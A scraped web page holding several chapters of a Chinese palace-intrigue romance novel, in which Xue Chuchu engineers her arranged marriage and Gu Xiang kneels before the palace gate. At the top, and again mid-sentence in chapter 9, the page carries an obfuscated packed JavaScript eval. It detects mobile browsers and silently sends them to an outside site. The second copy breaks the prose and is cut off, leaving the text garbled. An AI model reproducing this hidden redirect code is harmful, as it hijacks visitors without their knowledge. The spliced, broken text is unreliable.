;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495977|185945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾泽的仕途,却又不想真的把顾家逼反。” “咱们这位陛下,有些时候……” “现在,幼宁公主一闹,给了他一个更好的选择。” “把公主嫁给顾泽,同样能断了顾泽的仕途,而且断得更彻底,‘驸马都尉’这个虚衔都比不上寻常官员。同时,还能成全一段‘佳话’,彰显他的仁慈和爱女之心。” “至于我……”薛楚楚嘴角微微上扬,“为了安抚薛家,也为了不让皇家的颜面尽失,他总得给我一个交代。” 青禾听得目瞪口呆,绿蜡木着脸收拾棋盘,主子那人怎么可能有吃亏的可能,那是个心上长藕片的,比干的七窍玲珑心都比不得。 只有青禾这憨货才一直看不出来,不过,主子这步棋下得绝妙。 一切都在主子的算计之中!从她得知皇上有意赐婚开始,她就算到了每一步!她利用了幼宁公主的天真烂漫,利用了顾泽的君子之风,甚至利用了顾湘对她的那份痴心……这一环扣一环,步步为营,将所有人都变成了她棋盘上的棋子! 青禾只觉得身上的褙子有点薄,她下意识的拢了拢。自家小姐这心思,也太深沉,太可怕了! “那……那顾家那边,皇上会怎么交代?”青禾小心翼翼地问道。 薛楚楚看着窗外,目光恬淡,仿佛已经看到了最终的结局。 “顾家有两个儿子。一个不能娶,自然就轮到另一个了。” 她声音平淡,却像一道惊雷,在青禾耳边炸响。 另一个……不就是那位纨绔二公子,顾湘吗?! 青禾终于明白了!从来就没有什么“错嫁”,有的,只是小姐的步步为营!她真正的目标,从一开始,就不是那个光芒万丈的探花郎顾泽,而是那个被所有人看不起的纨绔子弟——顾湘!因为只有顾湘,才是最适合她,最能为她所用的“夫君”! “小姐……您……”青禾震惊得说不出话来。 薛楚楚却笑了,她转过头,看着青禾,眼神清亮。 “青禾,记住,想要不被命运摆布,就要学会,去摆布命运。” 她站起身,走到书案前,铺开一张宣纸,提笔蘸墨。笔尖在纸上游走,写下的却不是什么诗词文章,而是一份详细的商业计划。关于如何利用顾家二夫人的身份,整合薛家资源,开设京城第一家女子钱庄的计划。 螳螂捕蝉,黄雀在后。所有人都以为她薛楚楚是那只待嫁的蝉,却不知,她才是那只隐藏在暗处,操控着一切的黄雀。 现在,风已经够大了。 是时候,该收网了。 7. 第 7 章 京城,彻底乱了,乱得像一锅烧得正旺的沸粥,咕嘟作响,每一声都搅动着离奇与狗血,发酵出无数足以令人瞠目结舌的故事。 “听说了吗?那风姿卓绝的探花郎顾泽,竟与天真烂漫的幼宁公主一见钟情,情根深种,奈何圣旨无情,竟要棒打鸳鸯!”茶馆里说书人拍案而起,字字珠玑,引得满座唏嘘。 “何止!顾家那位出了名的纨绔二公子顾湘,更是语出惊人,竟敢当众承认皇室此举乃是‘乱点鸳鸯谱’,简直是胆大包天!”街头巷尾,议论声如潮水般涌动,将平静的京城搅得天翻地覆。 “可怜的痴情公主啊,为爱痴狂,扬言非君不嫁,要以死明志!”流言版本层出不穷,每一个都比上一个更煽情,更催泪。 这些离奇又狗血的故事,在顾湘和他那群“狐朋狗友”的“鼎力相助”下,长了翅膀,裹挟着市井的喧嚣与好奇,飞速传遍了京城的大街小巷。街头巷尾,茶馆酒肆,无一不在津津乐道。故事越传越离谱,越传越像一部跌宕起伏的话本,将顾泽和幼宁公主塑造成一对被封建礼教迫害的苦命鸳鸯,赚足了京城百姓的眼泪和同情,也激起了无数义愤填膺的叹息。 而原本与顾大公子有婚约的薛家大小姐薛楚楚,那个本该是“天作之合”的准新娘,竟一夜之间成了人人唾弃的“第三者”——一个不识趣、企图插足别人神仙爱情的恶毒女子!这番乾坤颠倒,讽刺至极,简直是荒天下之大谬! 宁远侯府也因为这些不靠谱的流言如坠冰窟,仿佛被一场突如其来的暴风雪彻底冻结。 “孽障!你这个孽障!”宁远侯顾渊气得面色铁青,半屋子的青瓷、白玉被他砸得稀碎,碎片四溅,如他此刻即将炸裂的怒火。他颤抖着手指,指着厅堂中央笔直跪着的顾湘,那只手抖得像秋风里的落叶,怒火几乎要将他吞噬,“你……你这是要把我们顾家往死路上逼啊!往死路上逼啊!” 他做梦都没想到,自己这个平日里只知道吃喝玩乐、斗鸡走狗的废物儿子,竟然敢闹出这么大的动静!这哪里是胡闹?这分明是把皇室和顾家的脸面,按在地上反复摩擦,再狠狠地踩上几脚,恨不得让天下人都来围观顾家的笑话! 顾夫人更是急火攻心,直接病倒在了床上,苍白的唇瓣还在颤抖着,喃喃着一句句撕心裂肺的呼唤:“我的湘儿啊,你这是要吓死娘啊……要吓死娘啊……” 顾湘却像个没事人一样,脊背挺得笔直,直挺挺地跪在厅堂中央,任由父亲的怒骂、瓷器的碎裂声在耳边炸响,他一声不吭。他那张俊美无俦的脸上,没有了往日的嬉皮笑脸,只有一片沉寂,沉寂得让人心惊,仿佛暴风雨来临前,海面诡异的平静。 他的脑海中,此刻只有一个身影——那个总是云淡风轻,却又聪慧机敏的薛楚楚。 他想起她淡然面对流言蜚语的模样,那双清澈的眼眸中,却泄露出不易察觉的波澜。她何曾做错了什么?她只是无辜被卷入这场风波,却要承受这些无妄之灾,被人指指点点,沦为京城百姓茶余饭后的笑柄!他从未想过将她牵扯进来,可那些人为什么要牵扯到她? “父亲,这件事明明是幼宁公主当众要嫁给兄长才闹出来的。”顾湘终于抬起头,那双素来含情的桃花眼中,此刻却是一片清明与严肃。 他知晓父亲不过是拿自己出气罢了,他承认他有煽风点火,但从幼宁公主在众人面前说出“我要嫁给你”那一刻起,兄长的命运就已经注定了。 幼宁公主的金口玉律或许还不足以完全定下亲事,可是皇权却可以。 在小厮告知他这件事的时候,他就知道顾家只有尚公主一条路,但是他不甘心的是整件事中最无辜的那个人——薛楚楚! 如果公主嫁给兄长,那么薛姑娘该怎么办?她的清白,她的未来,又该如何自处? 他只能把事情闹大,让皇家知道薛楚楚吃了亏,皇家公主抢了楚楚的婚姻,就该赔给她一个更好的。 顾湘垂下头,面无表情地听顾侯爷怒吼,心中却只有一个念头:光靠舆论,还不够。这把火,烧得还不够旺,远远不够! 他要再添一把,最大、最猛烈的柴火!他要让这把火直接烧到皇上的龙椅面前,烧得这京城再也无法平静,烧得那些高高在上的人,不得不做出妥协! “爹。”顾湘终于再次抬起头,眼里没有半分纨绔的轻佻,只有一种破釜沉舟的决绝,甚至带着几分悲壮与慷慨:“事已至此,多说无益。儿子知道自己闯了大祸,愿意一力承担。” 顾湘说完,猛地磕了三个响头,额头重重地触地,殷红的血珠顺着他俊美的脸庞滑落,触目惊心,在地面溅开一朵朵妖冶的血花。 “儿子不孝,不能在您和母亲面前尽孝了!”他的声音颤抖着,带着一丝难以言喻的哽咽,但那双眼眸却异常坚定,仿佛燃烧着熊熊的烈火。 在心底,他默默地对着那个遥不可及的身影说:“楚楚,我要为你拼一次,就算粉身碎骨,也在所不惜。”我顾湘此心不改,今日便要为你,与这天下为敌,与这皇权抗争! 他猛地站起身,不顾身后顾渊声嘶力竭的怒吼:“拦住他!快给我拦住这个孽子!” 今天的顾湘,就像换了个人,力气大得出奇。几个冲上来阻拦的家丁,都被他一把推开,踉跄在地,根本无法近身。 他头也不回地冲出侯府,目标明确——皇宫! 半个时辰后,一则更劲爆的消息,以海啸般的速度,席卷了整个京城,震动了整个朝堂! 顾侯府二公子顾湘,那个京城闻名的纨绔,竟身穿一袭白衣,长跪于巍峨的宫门之前! 白衣如雪,在夕阳的映照下,更显得悲壮肃穆,宛如一尊不屈的雕塑。他没有哭嚎,没有喊冤,只是静静地跪在那里,背脊挺得笔直,仿佛一棵不屈的青松,任由烈日暴晒,汗水浸透衣衫,也岿然不动。 在他身前,赫然放着一块木牌,上面用他的鲜血写着两行大字,每一个字都带着淋漓的血迹,触目惊心: “臣顾湘,恳请陛下!” “成全兄长与公主殿下天赐良缘!” 字迹歪歪扭扭,带着血迹的斑驳,却透着一股不屈的意志和撕心裂肺的决绝。每一笔,都是他用指尖蘸着自己的血写下的,每一画,都承载着他对薛楚楚的深情与守护。他在用自己的血肉之躯,为她撕开一条生路,为她挣回一个交代! 这一下,不只是京城百姓震动了,连整个朝堂都彻底炸开了锅! 一个平日里只知斗鸡走狗的纨绔子弟,竟然为了兄长的“婚事”,闹到了宫门口,公然挑战皇权!这已经不是简单的民间八卦,这是赤裸裸的“逼宫”,是以下犯上,是冒天下之大不韪! 宫门前,百姓们虽不敢靠近,却也难以抵挡想看热闹的心,都站在不远处对着顾湘指指点点,议论纷纷,声音压低,却难掩激动。 “疯了吧?这顾二公子是疯了吧?他不要命了?这是要被诛九族的死罪啊!”有人颤抖着声音低语。 “为了他哥,连命都不要了?这兄弟感情,也太深了些!简直比话本子里写的还感人!”有人唏嘘不已。 “你们看他那模样,哪里还有半分纨绔的样子?简直像个为 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他那张俊美的脸上,没有了平日的散漫轻佻,只剩下一种近乎神圣的执着。嘴唇因为失水而干裂,但他的眼神却依然清澈坚定,仿佛能穿透一切迷雾,直视人心。 他在赌。 赌皇上为了皇家的颜面,为了平息这场滔天风波,为了维护自己的绝对权威,会做出让步。 他也在赌,赌薛楚楚能看到。 他想让她看到,他顾湘,不是一个只会喝酒闹事的废物。 他也可以为了她,豁出性命,与全世界为敌,只为守护她一丝清白,只为还她一个公道! 哪怕,她可能根本不知道他做这一切是为了谁。 哪怕,她可能永远不会爱上他这样的纨绔。 但他不在乎。他只要她能幸福,能不被人指点,能堂堂正正地做薛家的小姐,而不是什么“第三者”。这是他暗恋三年,能为她做的,最后也是最疯狂的事。 时间一分一秒地过去,顾湘的嘴唇开始干裂,眼前阵阵发黑,身体摇摇欲坠,但他依然咬牙坚持着,不肯倒下,那股信念支撑着他,让他如同磐石般坚韧。 夕阳西下,金色的余晖将他的身影拉得很长很长,像是要延伸到薛府,延伸到那个让他魂牵梦萦的人身边,将他此刻的悲壮与深情,刻画在天地之间。 就在他快要撑不住,意识模糊的瞬间,紧闭的宫门,终于“吱呀”一声,缓缓打开了,发出一声沉闷而悠长的回响,仿佛命运的齿轮开始转动。 一个身穿紫色蟒袍,手持拂尘的李德福面无表情地走了出来,身后跟着两排全副武装的禁军,气势森严,每一步都踏得沉重而威严,让围观的百姓瞬间安静下来,空气仿佛都凝固了,所有人的心都提到了嗓子眼。 李德福走到顾湘面前,居高临下地看着他,嗓音不带一丝感情,却字字清晰,如同洪钟般回荡在宫门前,宣判着顾湘的命运。 “顾湘,陛下口谕。” 顾湘强撑着虚弱的身体,努力抬起头,那双清澈却疲惫的眼中,是等待命运宣判的决绝,亦是视死如归的坦然。 “你,很好。” 太监的话,让在场所有人都是一愣。这究竟是夸奖,还是讽刺?是褒奖,还是惩罚的序曲?无人能猜透圣意。 “陛下让你……进去。” 巨大的宫门在顾湘身后缓缓合拢,发出“轰隆”一声巨响,将他孤身一人的身影彻底吞没,也彻底隔绝了门外所有人的猜测与喧嚣。 京城今夜,注定无眠。 9. 第 9 章 御书房内,死一般的寂静,仿佛连空气都凝固成了冰。 顾湘的脑子彻底停转了,一片空白,耳边只剩下“赐婚”的轰鸣声,像是千万只蜜蜂在脑海中狂舞,振翅欲聋。 他听到了什么? “将薛氏之女薛楚楚,改嫁于顾家二子,顾湘。” 改嫁……于他? 他要娶薛楚楚了? 那个他放在心尖尖上,偷偷爱了三年,连做梦都觉得是奢望的女孩,那个他每次路过薛府都要偷偷张望,却不敢多看一眼的仙女般的人儿,马上就要成为他的妻子了? 这不是梦吧? 顾湘狠狠地掐了一下自己的大腿,指甲几乎要嵌进肉里,剧烈的疼痛感如电流般窜过神经,清晰地告诉他:这一切都是真的! 一股巨大到几乎要将他整个人都撑爆的狂喜,如同山洪海啸,瞬间从心底最深处喷涌而出,淹没了他的四肢百骸,冲刷着他的每一寸神经。 血液在血管里沸腾翻滚,每一滴都灼热滚烫。心跳快得像是要从胸腔里蹦出来,一下又一下,擂鼓般震耳欲聋。连呼吸都变得急促而滚烫,肺部像是被火焰炙烤。 他成功了! 他真的成功了! 他用自己这条烂命,用尽了所有的勇气和卑微,赌来了一个他想都不敢想的结局! 三年了,整整三年!他多少次在梦里梦到过这一刻,梦到自己能够光明正大地站在她身边,梦到能够保护她,爱护她。如今这个梦境竟然成真了,触手可及! 他想笑,想大声地笑出来,想告诉所有人,他顾湘这个京城第一废物,马上就要娶到全天下最好的姑娘了!他要娶薛楚楚了!那个聪慧如谪仙,美丽如明月的薛楚楚! 可他笑不出来。 他只是傻傻地跪在那里,张着嘴,像一条搁浅的鱼,贪婪地呼吸着,却感觉胸口闷得发慌,喉咙里像是堵了什么东西,连气都喘不匀。 他甚至忘了谢恩,忘了自己身在何处,忘了龙椅上还坐着那位洞悉一切的帝王,脑子里只有一个念头在疯狂盘旋,如同魔咒:我要娶楚楚了,楚楚是我的了,楚楚要成为我的妻子了! “顾湘,还不谢恩?” 龙椅上,皇帝赵恒的声音悠悠传来,带着一丝洞悉一切的玩味,更带着一种让人心颤的深意,将顾湘从狂喜的深渊边缘猛然拉回。 “啊?哦……哦!”顾湘如梦初醒,魂魄仿佛才重新回到身体里,连忙低下头,声音抖得不成样子,“臣……臣顾湘……领旨……谢主隆恩!皇恩浩荡,臣……臣万死不足以报答!” 他几乎是手脚并用地磕下头去,额头重重撞在冰凉的金砖上,发出“咚”的一声闷响,仿佛要把三年来的所有虔诚和感激都磕进这一叩首中,震得他头晕目眩。 可他感觉不到疼。 他整个人都像是飘在云端,轻飘飘的,不真实到了极点,仿佛下一秒就要被风吹散,消散无形。 然而,这极致的狂喜,仅仅持续了刹那,如同烟花般绚烂而短暂。 当他抬起头,看到龙椅上皇帝那似笑非笑的眼神时,那双深邃如深潭的龙眼中闪烁着的智慧光芒,让他猛然清醒。 一股冰冷的寒意,猛地从他的尾椎骨窜了上来,瞬间浇熄了他心中所有的火焰,将他从云端狠狠拽入了冰窖。 那不是欣慰,不是赞许,更不是简单的恩赐。 那是一种看透一切的洞察,是一种掌控人心的算计,是一种……玩味。而他,不过是这盘棋局中,被随意摆弄的棋子。 他忽然明白了。 他什么都明白了。 皇帝这是在惩罚他。 这才是对他这个胆大包天、搅动风云的纨绔子弟,最狠、最毒、最残酷的惩罚! 不是要他的命,不是要他家破人亡,而是要让他在余生的每一天,都活在这种甜蜜的折磨中! 让他得到他梦寐以求的月亮,然后再让他清清楚楚地看到,自己这双沾满了泥污的手,是如何玷污了月亮的光辉。 让他娶到他心爱的姑娘,然后再让她跟着自己,一起被全京城的人嘲笑,一起从云端跌落泥潭,成为天下最大的笑柄。 天下第一财神的掌上明珠,本该嫁给风光霁月的探花郎,成为人人艳羡的探花夫人。 如今却要嫁给他这个一无是处的废物,要承受“下嫁”的屈辱,要忍受旁人的指指点点,要面对一个不学无术、德不配位的纨绔夫君。 探花郎的准夫人,转眼成了纨绔妻。 这是何等的天差地别!这比杀了他,更让他肝肠寸断,痛不欲生! 一股比刚才的绝望更加尖锐、更加深刻的愧疚和恐慌,像无数根淬了毒的钢针,狠狠地扎进了他的心脏,每一根都扎得那么准,那么狠,让他的五脏六腑都在痉挛,连骨髓都泛着彻骨的凉意。 他配不上她。 他怎么配得上她? 他就是一个废物,一个烂泥扶不上墙的败家子,一个让父母蒙羞、让家族丢脸的垃圾!他用这么卑劣的手段,毁了她原本可以拥有的、光鲜亮丽的姻缘,把她从云端拉进了泥潭,把她从仙女拖成了凡人,任由世俗的尘埃沾染她皎洁的裙摆。 薛楚楚会怎么看他? 她一定会恨死他! 聪明如薛楚楚,通透如薛楚楚,她一定能看出来,今天这一切都是他的阴谋。她会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“好了,都退下吧。”赵恒挥了挥手,似乎有些疲惫了,但眼中却闪过一丝深不可测的光芒,嘴角勾起一抹转瞬即逝的弧度,“朕乏了。” “臣告退。” “老臣告退。” 顾湘不知道自己是怎么站起来,怎么跟着父亲走出御书房的。他的腿像是灌了铅一样沉重,每一步都走得摇摇晃晃,仿佛随时都会摔倒。 他整个人都像是被抽走了魂魄,行尸走肉一般,只是机械地跟在父亲身后,双眼空洞,灵魂却早已坠入无尽深渊。 灿烂的阳光照在身上,他却感觉不到一丝温暖,只觉得浑身冰冷,仿佛置身于千年冰窖之中,寒意刺骨。 他偷到了他的月亮。 可从今往后,他要怎么面对这轮被他拖入尘埃的、皎洁的月光? 他又要如何,让这轮月亮,在他这片污浊的天空中,重新绽放出她应有的光芒? 他要如何,才能赎清这罪孽,才能让她,不再恨他? 10. 第 10 章 第二道圣旨,比他们更快一步抵达。 顾夫人本就心神俱疲,被李嬷嬷灌了一碗醒神汤强撑着在正堂接旨,当那句如惊雷般炸开的话语: “将薛氏之女薛楚楚,改嫁于顾家二子,顾湘。” 清晰传入耳中时,顾夫人只觉眼前一黑,胸口一口气堵得死死的,整个人直挺挺地昏厥了过去。 王公公看着昏过去的宁远侯夫人摇摇头,他也没理会管家转身离去,以后啊,这宁远侯府可是难了。 整个侯府立时已乱成了一锅沸腾的粥,尖叫、哭喊、慌乱的脚步声此起彼伏。就在这片近乎癫狂的混乱之中,顾渊带着一身的疲惫与怒火,踏入了府门。 “侯爷!二位少爷,您们可算回来了!”管家哭丧着一张老脸,几乎是连滚带爬地迎了上来。 顾渊锐利的目光扫过内室被丫鬟们掀开的门帘,瞥见那一片狼藉与混乱,又转向身后,那个失魂落魄、面如死灰的顾湘。积攒了一路的滔天怒火,在这一刻找到了宣泄口,轰然爆发! “孽障!” 顾渊猛地转身,抬脚就狠狠踹向顾湘的膝盖! 顾湘本就精神恍惚,思绪沉浮,被这突如其来的一脚踹得重心不稳,“噗通”一声,重重地跪倒在冰冷坚硬的地砖上。膝盖上传来的撕裂般剧痛,如同当头棒喝,瞬间将他从混沌中拉回现实。 “你看看你干的好事!”顾渊气得浑身都在颤抖,颤抖的手指几乎要戳到顾湘的鼻尖,“你满意了?啊?!你现在满意了?!” “把薛家小姐抢过来了,让你大哥去尚公主了,你把顾家的脸都丢尽了!你满意了?!” 顾渊嘶哑而狂怒的咆哮声,如同困兽的嘶吼,回荡在整个前厅,震得所有下人噤若寒蝉,连呼吸都不敢大声。 顾湘跪在地上,低垂着头,发丝凌乱地遮住半边脸庞,一言不发。 他能说什么? 说他不是故意的?说他只是想让薛楚楚不用嫁给大哥,从没想过自己能娶她? 谁信? 连他自己都不信。在他内心最深处,那个最卑劣、最阴暗的角落里,他就是想得到她,即便手段不堪,即便后果不堪设想。 “你知不知道外面现在都怎么说我们顾家?!”顾渊气得绕着顾湘来回踱步,每一步都像踩在顾湘的心上,“说我们顾家教子无方,养出你这么个无法无天的东西!为了抢兄长的女人,连逼宫这种事都干得出来!” “说你大哥没用,连自己的婚事都保不住!” “说我顾渊老糊涂了,连个儿子都管不住!” “现在好了!你大哥成了驸马,这辈子都别想在朝堂上有什么大作为了!而你,娶了个商女,还是从你大哥手里抢来的!我们顾家的名声,我们顾家百年勋贵的门风,全被你一个人给毁了!” 顾渊越说越怒,怒火烧得他理智全无,随手抄起羊脂瓶中插着的鸡毛掸子,便朝顾湘的背上狠狠抽了过去! “啪!” 清脆而沉闷的响声,像一道鞭子抽在所有人心头,让在场之人无不心头一颤。 “我打死你这个孽障!我今天就打死你!” “啪!啪!啪!” 鸡毛掸子一下又一下地,带着顾渊的滔天怒意,狠狠落在顾湘的背上。他却紧咬牙关,一声不吭,身子挺得笔直,仿佛在用这种方式承受着一切。 疼。 很疼。 但这点皮肉之痛,和他心头翻涌的愧疚、恐慌与一丝难以言喻的窃喜比起来,根本算不了什么。 就在这混乱的鞭打声中,内室的门帘被猛地掀开,刚刚苏醒过来的顾夫人,在两个丫鬟的搀扶下,跌跌撞撞地冲了出来。 “住手!你给我住手!” 顾夫人听闻儿子被打,心疼得顾不得孱弱的身子,冲过来一把抢过顾渊手里的鸡毛掸子,狠狠地扔在地上发出沉闷的声响。 “你要打死他吗?!啊?!湘儿可是你亲儿子!” “夫人!”顾渊又气又急,额上青筋暴起,“就是因为他是我亲儿子,我才要打醒他!你看看他都干了些什么混账事!” “我不管他干了什么!”顾夫人才不管那些家族荣誉与名声,她一把将跪在地上的顾湘紧紧搂进怀里,看着他背上渗出点点血迹的衣衫,哭得老泪纵横,肝肠寸断。 “我可怜的湘儿啊……你怎么就这么傻啊……” 她以为顾湘做这一切,真的只是为了兄长和家族,却不知顾湘自己现在都不能说服自己。 顾湘靠在母亲温暖而熟悉的怀里,闻着那让他安心的味道,眼圈瞬间泛红,差点也掉下泪来。 但他忍住了。 他现在没资格哭。 “母亲,我没事。”他哑着嗓子,声音带着一丝不易察觉的沙哑。 顾夫人抚摸着他发红的脸颊,又是心疼又是生气:“还说没事!你看看你这傻孩子!这下好了圣旨下来,让你娶那个……那个商女,这可怎么办啊?” 在顾夫人眼里,商女的身份终究是上不了台面的,顾湘是不争气,可娶个清流人家的女儿还是轻而易举的。更何况,这还是从大儿子那里“抢”来的,宁远侯府简直是把脸丢尽了。 便是顾夫人再偏疼小儿子,也没法昧着良心说顾湘没错。 顾渊在一旁冷哼一声,带着不加掩饰的厌恶:“怎么办?他自己惹出来的祸,让他自己受着!我顾家丢不起这个人!这门亲事,我不同意!” “你不同意?!”顾夫人猛地抬头瞪着他,眼中带着一丝绝望的疯狂,“这是圣旨!是皇上亲口赐的婚!你想抗旨吗?!你想让我们顾家满门抄斩吗?!” “我……”顾渊被噎得说不出话来。 是啊,这是圣旨。 君无戏言。 这桩荒唐至极的婚事,已经成了板上钉钉的、无法更改的事实。 整个宁远侯府,都彻底笼罩在一片压抑的愁云惨雾之中。 没有人高兴。 顾泽失去了仕途和理想,余生将在公主府的桎梏中消磨。顾渊和顾夫人丢尽了脸面,家族声誉一落千丈。 而始作俑者顾湘,虽然得到了他梦寐以求的人,却也背负上了沉重如山的枷锁——家族的唾弃,兄长的怨恨,以及那份用卑劣手段换来的爱情,未来将如何面对? 他看着眼前这一片混乱,心中只剩下一个念头。 完了。 顾家,真的要炸了。 而这一切,都是因他而起,是他亲手点燃的引线。 宁远侯府天翻地覆之时,薛府显得格外静谧,然这份静谧,终究被一道圣旨彻底打破。 “真是荒唐!荒唐至极!” 薛家四老爷薛铭,正大马金星地坐在书房太师椅上,手里端着一盏新沏的龙井。他面色潮红,眼中带着掩不住的幸灾乐祸与一丝丝的鄙夷。 “这薛楚楚,平日里瞧着是个心比天高的,如今可好?侯府大公子不要她,竟将她改嫁给了那顾家二子,顾湘!哈哈哈,那顾湘是个什么德性?整个京城谁人不知,那是个不学无术、招猫逗狗的纨绔!真是报应,报应啊!” 薛铭说着,忍不住哈哈大笑起来,笑声在寂静的书房里显得格外刺耳。他自以为看透了薛楚楚的结局,觉得她高傲的羽翼终于折断,心中那股因多年被大房压制而积攒的怨气,仿佛找到了宣泄口,畅快淋漓。 他身侧的薛四夫人沈氏,慢条斯理地用象牙簪拨弄着香炉里的沉香屑,丝毫不被丈夫的情绪左右。她一身素雅 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“冲动?”沈氏嗤笑一声,眼底闪过一丝嘲讽,“老爷,你真是只看到了表象。顾湘是纨绔不假,可他敢在朝堂上‘逼宫’,甚至不惜触怒龙颜,只为求娶薛楚楚,你当真以为只是他一人的冲动?” 她顿了顿,语气渐沉:“圣旨一下,薛楚楚嫁给顾湘,顾泽则尚公主。老爷,你可曾想过,这意味着什么?” 薛铭被妻子问得一愣,他皱着眉,努力思索,却只觉得脑子里一团乱麻。 沈氏见状,眼中鄙夷更甚,说顾湘纨绔他又比之好在哪里?顾湘虽纨绔,可后院却是干净的很。 她将茶盏轻轻搁在几上,发出清脆一声,随即言辞如珠玑,字字句句皆是剖析世情利弊的刀锋:“顾泽尚公主,从此便成了皇室女婿,仕途虽再无寸进可能,然而却也是超一品的爵位在身。 这样一来宁远侯府的未来,只怕要落在顾湘身上。而顾湘,是个彻头彻尾的纨绔。他娶了薛楚楚,你以为他会去打理顾家的产业吗?” “这……”薛铭被问得哑口无言。顾湘那等只知吃喝玩乐的性子,确实不可能插手家族生意。 “既然如此,顾家庞大的产业,谁来接管?自然是薛楚楚!而且,不要忘记了,薛楚楚是出嫁后是有权利打理薛家的产业的,薛家加上顾家这是一笔何其庞大的产业。” 沈氏的声音陡然拔高了几分,带着一种不容置疑的肯定,“一个纨绔夫君,于薛楚楚而言,非但不是拖累,反而是最好的助力!他不会干涉薛楚楚的任何决断,更不会觊觎薛家的财富。薛楚楚可以名正言顺地执掌薛家、顾家,将所有权力牢牢握在手中,再无任何阻碍!” 薛铭张大了嘴,半晌说不出话来。他只看到薛楚楚嫁了个纨绔的“耻辱”,却从未想到这背后竟有如此的利益。 “这还不算完。”沈氏冷笑一声,语气中带着一丝连她自己都未察觉的嫉妒:“顾泽尚公主,薛楚楚嫁顾湘。这意味着什么?这意味着薛楚楚成了公主的妯娌!从此,她是宁远侯府的二少夫人,从此便有了皇亲国戚的背景,身份地位非同寻常。有公主这层关系在,谁还敢小觑她一个商女出身?谁还敢随意欺压薛家?她薛楚楚,在京城之中,再无人正面敢轻易动她分毫!” “你再想想,一个能让皇上为她下两道圣旨的女子,一个能让宁远侯府两位公子为她闹得天翻地覆的女子,她当真只是个寻常的商女吗?她能让顾湘为了她不惜与兄长反目,不惜触怒龙颜,你当真以为,这只是顾湘一厢情愿的冲动?” 薛铭将夫人的话在唇齿之间咀嚼一番,只觉得沈氏说得很对,他嗫嚅:“可万一顾家给公主呢。” 听到自家夫君的话,沈氏懒得回应,继续拨弄香料。 万一? 这事儿没有万一。 11. 第 11 章 沈氏的声音带着一种洞察一切的犀利,她瞥了一眼丈夫惨白的脸色,继续道:“老爷,你所见的‘报应’,不过是薛楚楚为自己铺就的一条通天大道!她舍弃了尚公主的兄长,嫁给了纨绔的弟弟,却成功将顾家和薛家的权力都揽入了自己手中!” 薛铭的脸色已经从潮红转为煞白,额头上甚至渗出了细密的冷汗。他原以为薛楚楚是遭了报应,却没想到,这所谓的“报应”竟是如此。他只看到薛楚楚嫁给了纨绔,却没看到她因此获得了执掌薛家、甚至影响顾家的绝佳机会。 “那……那我们呢?”薛铭的声音有些颤抖,他忽然意识到,如果沈氏所言非虚,那么薛楚楚的地位将变得无可撼动,而他们四房,只怕会更加被边缘化。 “我们?”沈氏冷哼一声,眼中闪过一丝冷漠,“我们能如何?如今薛楚楚得圣旨赐婚,又成了公主的妯娌,你以为她还会将薛家旁支放在眼里?只怕今后,薛家的所有资源,都会向她一人倾斜。她薛楚楚,恐怕才是这薛家真正的……女主人!” 薛铭瘫软在椅子上,只觉浑身冰凉。他原本的幸灾乐祸,此刻已化作彻骨的寒意。薛家,真的要变天了。而这变天的主宰者,竟是那个他一直瞧不起的女娃子——薛楚楚。 沈氏看着窗外的暮色,眼中闪烁着莫名而欣赏的光芒。他们薛家这位楚楚,当真是个狠角色。 夜色渐浓,华灯初上。暖阁内薛楚楚懒散地斜倚在软榻上,手中把玩着一枚羊脂玉坠,神色宁静。青禾跪坐在她脚边,细致地为她捶着腿。这时,一个平日里不甚起眼的二等婢女悄悄地躬身入内,脸色带着几分忐忑与兴奋。 “大姑娘,奴婢……奴婢方才在书房外洒扫时,无意中听到了四爷和四夫人的谈话。”她声音压得极低,眼神却不时瞟向薛楚楚,生怕她一个不悦。 薛楚楚眼波微转,将视线投在婢女身上,示意她继续。婢女便将薛铭夫妻的对话一五一十地复述了一遍,包括薛铭从幸灾乐祸到惊惧交加的转变,以及沈氏对薛楚楚“通天大道”的犀利分析。 听完,薛楚楚只轻笑一声,将玉坠抛起又稳稳接住。她吩咐青禾看赏,青禾麻利的从腰上解下一个荷包塞给婢女:“赏你的,下次再有这等‘无意’听到的消息,尽管来报。” 婢女喜出望外,连连谢恩后退下。青禾不屑地撇了撇嘴:“小姐,四爷也太小看您了!还什么报应,他自己才是井底之蛙!” 薛楚楚勾唇,并不附和:“我这位四叔,不过是只看得到眼前利益的,精明有余,却无大局观。他以为的‘罗网’,在我眼中,不过是按部就班的棋局,这种人无需多虑。” 她语气平淡,却自带睥睨天下的气场。 然而,她话锋一转,眉梢轻挑:“倒是四婶……是个厉害角色,心思缜密,能窥见几分我的意图,不可小觑。她能看透薛铭的愚钝,自然也能看出我的‘布局’。她这番话,与其说是点醒薛铭,不如说是在敲打我,也给自己留了一条后路。” 青禾闻言,有些紧张:“那小姐,我们需不需要防着她?” “防?大可不必。”薛楚楚轻叹一声,她平静的解释:“四婶这个人是绝不会鸡蛋碰石头的,只要我足够强,她就不会动心思。” 她捏紧了手中的玉坠,指尖微凉:“反倒是我那位未来的妯娌……需要关注些。” 对于聪明人,她从来都不惧怕,因为聪明人知道自己的底线在哪。他们不会损人不利己,偏偏是看似聪明却蠢笨的才可怕,因为根本无法预测她会做什么。 幼宁公主正坐在梳妆台前,小脸兴奋得通红,一会儿拿起一支金步摇往头上比划,一会儿又拿起一盒新进贡的胭脂在脸上涂抹。 “春桃,你看本宫戴这个好看吗?” “好看好看!公主戴什么都好看!”贴身宫女春桃在一旁笑着奉承。 “那是自然!”幼宁骄傲地一扬下巴,“本宫马上就要当新娘子了,当然要打扮得漂漂亮亮的,不能给我的探花郎丢脸!” 